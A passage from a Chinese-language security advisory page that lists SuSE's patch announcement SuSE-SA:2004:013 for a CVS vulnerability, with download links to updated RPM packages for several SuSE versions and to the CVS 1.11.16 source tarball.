http://www.mandrakesecure.net/en/ftp.php
S.u.S.E.
--------
S.u.S.E.已经为此发布了一个安全公告(SuSE-SA:2004:013)以及相应补丁:
SuSE-SA:2004:013:cvs
链接:
补丁下载:
CVS CVS 1.11.1 p1:
SuSE Upgrade cvs-1.11.1p1-329.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/cvs-1.11.1p1-329.i586.rpm
SuSE Upgrade cvs-1.11.1p1-329.i586.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/cvs-1.11.1p1-329.i586.patch.rpm
SuSE Upgrade cvs-1.11.1p1-329.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/cvs-1.11.1p1-329.i386.rpm
SuSE Upgrade cvs-1.11.1p1-329.i386.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/cvs-1.11.1p1-329.i386.patch.rpm
CVS CVS 1.11.5:
SuSE Upgrade cvs-1.11.5-112.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/cvs-1.11.5-112.i586.rpm
SuSE Upgrade cvs-1.11.5-112.i586.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/cvs-1.11.5-112.i586.patch.rpm
CVS Upgrade cvs-1.11.16.tar.gz
http://ccvs.cvshome.org/servlets/ProjectDownloadList?action=download&dlID=489
CVS CVS 1.11.6:
SuSE Upgrade cvs-1.11.6-81.i586.rpm
fftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/cvs-1.11.6-81.i586.rpm
SuSE Upgrade cvs-1.11.6-81.i586.patch.rpm
fftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/cvs-1.11.6-81.i586.patch.rpm
SuSE Upgrade cvs-1.11.6-81.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/cvs-1.11.6-81.x86_64.rpm
SuSE Upgrade cvs-1.11.6-81.x86_64.patch.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/cvs-1.11.6-81.x86_64.patch.rpm
版权所有,未经许可,不得转载